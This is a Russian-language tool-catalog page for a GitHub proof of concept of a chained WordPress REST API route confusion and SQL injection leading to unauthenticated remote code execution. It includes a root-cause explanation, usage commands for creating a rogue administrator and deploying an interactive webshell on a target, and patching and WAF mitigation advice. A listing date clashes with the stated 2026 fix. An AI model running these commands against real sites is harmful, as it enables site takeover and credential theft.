Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63030-Wp2Shell — WordPress REST API SQLi, приводящая к RCE, PoC (CVE-2026-63030 и CVE-2026-60137) | Kitploit
Инструменты/GitHubGitHub/ghostinexile/cve-2026-63030-wp2shell
Сканеры уязвимостейАнализ КодаЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubghostinexile/cve-2026-63030-wp2shell

CVE-2026-63030-Wp2Shell

WordPress REST API SQLi, приводящая к RCE, PoC (CVE-2026-63030 и CVE-2026-60137)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
41 месяц назадЕщё не проверено

CVE-2026-63030 (wp2shell) — RCE до аутентификации в ядре WordPress

Путаница маршрутов пакетного REST API в связке с SQL-инъекцией CVE-2026-60137

CVE-2026-63030 CVE-2026-60137 aka wp2shell Status

Кратко — Неаутентифицированный злоумышленник может использовать связку ошибки пакетной маршрутизации REST API WordPress и SQL-инъекции в WP_Query, чтобы получить полное удаленное выполнение кода на стандартной установке WordPress — без плагинов, без учетной записи, без взаимодействия с пользователем. Обнаружено Адамом Кьюсом (Assetnote / Searchlight Cyber), который назвал его wp2shell. Исправлено 17 июля 2026 года в версиях 6.9.5, 7.0.2 и 6.8.6.

Обзор

CVE-2026-63030 — это ошибка в пакетном endpoint REST API ядра WordPress (/wp-json/batch/v1), из-за которой неудачные подзапросы обрабатываются настолько некорректно, что последующий подзапрос направляется по неправильному маршруту. Сама по себе это логическая ошибка. В связке с CVE-2026-60137 — SQL-инъекцией в параметре author__not_in в WP_Query — она превращается в неаутентифицированное удаленное выполнение кода.

WordPress оценивает CVE-2026-63030 как Critical, а CVE-2026-60137 как High; оценки CVSS от сторонних трекеров различаются (примерно 7.5 и 9.1 соответственно), поскольку ни одна из этих оценок не отражает полностью то, что делает связка. Относитесь к этому как к критическому, независимо от того, какое одно число вам показывают — WordPress посчитал это достаточно серьезным, чтобы принудительно установить автоматические обновления на каждый затронутый сайт.

Как это работает

Коренная причина — рассинхронизация учета пакетов. Когда подзапрос в пакете не проходит проверку, результирующий объект WP_Error записывается во внутренний массив $validation[], но параллельный массив $matches[], используемый для маршрутизации, не обновляется соответствующим образом. Этот разрыв в один элемент сдвигает каждый последующий подзапрос на одну позицию: подзапрос N в итоге направляется обработчику маршрута, предназначенному для подзапроса N+1.

Обход санитизации. Выполняясь в обработчике, для которого он не был предназначен, подзапрос пропускает собственную проверку входных данных этого обработчика — включая проверки типа и is_array().

SQL-инъекция. Этот разрыв позволяет вводимым данным, контролируемым злоумышленником, попасть в параметр author__not_in в WP_Query в виде сырой строки, а не массива. Защита is_array(), которая обычно отклонила бы его, не срабатывает, поэтому значение напрямую интерполируется в выражение NOT IN (...).

Путь к компрометации. Инъекция ограничена SELECT — нет составных запросов — но на хостах, где пользователь базы данных имеет привилегию FILE, этого достаточно для записи PHP-веб-шелла в корень веб-сервера. Если такая привилегия недоступна, та же точка инъекции может использоваться для Blind/UNION-дампа таблицы wp_users для получения хэшей паролей администраторов. В любом случае: без учетной записи, без плагина, без взаимодействия с пользователем.

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant B as Batch Handler
    participant Q as WP_Query
    participant D as MySQL
 
    A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
    Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
    B->>B: Sub-request N dispatched with sub-request N+1's route handler
    Note over B: Wrong handler context — that route's input validation never runs
    B->>Q: author__not_in passed as raw string, not array
    Note over Q: is_array() guard skipped
    Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
    alt DB user has FILE privilege
        D-->>A: Writes PHP webshell to web root → RCE
    else No FILE privilege
        D-->>A: Blind/UNION injection dumps admin password hashes
    end

Использование

  1. Клонируйте репозиторий
root@kitploit:~
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell 
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
  1. Проверка уязвимости - Проверьте, уязвима ли цель, без эксплуатации:
root@kitploit:~
python3 CVE-2026-63030.py -t https://target.com --test
  1. Создание учетной записи администратора - Создайте нового администратора WordPress через SQL-инъекцию:
root@kitploit:~
# Автоматическая генерация учетных данных
python3 CVE-2026-63030.py -t https://target.com --create-admin

# Пользовательские учетные данные
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
  1. Выполнение команд оболочки - Разверните веб-шелл и выполняйте команды:
root@kitploit:~
# Автоматическое создание администратора, развертывание шелла, выполнение одной команды
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"

# Интерактивный режим оболочки
python3 CVE-2026-63030.py -t https://target.com --shell -i

# Использование существующих учетных данных
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
  1. Очистка: Удаление созданных ресурсов (пользователя администратора и веб-шелла):
root@kitploit:~
# Очистка после сессии оболочки
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup

# Только очистка (требуется URL шелла из предыдущей сессии)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
  -U created_admin -P password \
  --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
  1. Дополнительные опции
root@kitploit:~
# Использование прокси
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080

# Пользовательский таймаут
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60

Затронутые версии

  • Для цепочки RCE требуются обе ошибки, которые пересекаются только в версиях 6.9.x и 7.0.x — поэтому для 6.8 был выпущен патч, но ей никогда не приписывали полную цепочку.
  • Согласно анализу Cloudflare, для пути RCE дополнительно требуется, чтобы сайт не использовал постоянный кэш объектов — это обычная настройка по умолчанию, но стоит проверить при оценке реальной подверженности, а не только статуса патча.
  • Уведомления безопасности GitHub: GHSA-ff9f-jf42-662q (путаница маршрутов) · GHSA-fpp7-x2x2-2mjf (SQLi)

Обнаружение и хронология

  • Путаница маршрутов / цепочка RCE (CVE-2026-63030) — сообщено Адамом Кьюсом из Assetnote / Searchlight Cyber через программу HackerOne WordPress.
  • SQL-инъекция (CVE-2026-60137) — сообщено отдельно, командой, состоящей из TF1T, dtro и haongo.
  • 17 июля 2026 года — WordPress выпустил экстренные релизы 6.9.5 и 7.0.2, бэкпортировал исправление в 6.8.6 и включил оба исправления в 7.1 Beta 2. Cloudflare развернул управляемые правила WAF для обоих CVE в тот же день, до публичного раскрытия.
  • С момента раскрытия — циркулировали технические статьи и по крайней мере один публичный proof-of-concept (только для обнаружения, согласно собственной документации). На момент нескольких дней после раскрытия не сообщалось о подтвержденной эксплуатации в дикой природе — проверьте текущую информацию об угрозах, не считая это окончательным.

Смягчение

  1. Немедленно установите патч до версий 6.9.5, 7.0.2, 6.8.6 или новее — единственное полное исправление. WordPress включил принудительные автоматические обновления для затронутых сайтов; убедитесь, что ваше обновление действительно применилось, а не просто предполагайте.
  2. Не можете установить патч сейчас? Заблокируйте неаутентифицированный доступ к пакетному endpoint на уровне WAF/границы: заблокируйте как /wp-json/batch/v1, так и ?rest_route=/batch/v1. Только экстренная мера — это может нарушить легитимное использование пакетного API (например, редактирование на основе блоков) и не заменяет установку патча.
  3. Включите управляемые правила WAF, если ваш провайдер их предоставил. Cloudflare развернул правила для обоих CVE на бесплатных и платных тарифах в день раскрытия.
  4. После установки патча проверьте журналы доступа на предмет пакетных запросов с неправильными или необычными путями подзапросов в окне раскрытия (с 17 июля 2026 года).

Ссылки

  • Анонс релиза WordPress 7.0.2 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • GHSA-ff9f-jf42-662q (CVE-2026-63030) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
  • GHSA-fpp7-x2x2-2mjf (CVE-2026-60137) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Консультация Searchlight Cyber по wp2shell — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Покрытие Cloudflare WAF — https://blog.cloudflare.com/wordpress-vulnerabilities/
Скачать инструмент
Версия WordPressSQL-инъекция (CVE-2026-60137)Путаница маршрутов (CVE-2026-63030)Реальный риск
< 6.8.0——Не затронуто
6.8.0 – 6.8.5✅—Только SQLi — требуется плагин/тема для передачи непроверенных данных в author__not_in; не достижимо до аутентификации на чистом ядре. В любом случае установите патч.
6.9.0 – 6.9.4✅✅RCE без аутентификации
7.0.0 – 7.0.1✅✅RCE без аутентификации
7.1 Beta 1✅✅RCE без аутентификации (бета-канал)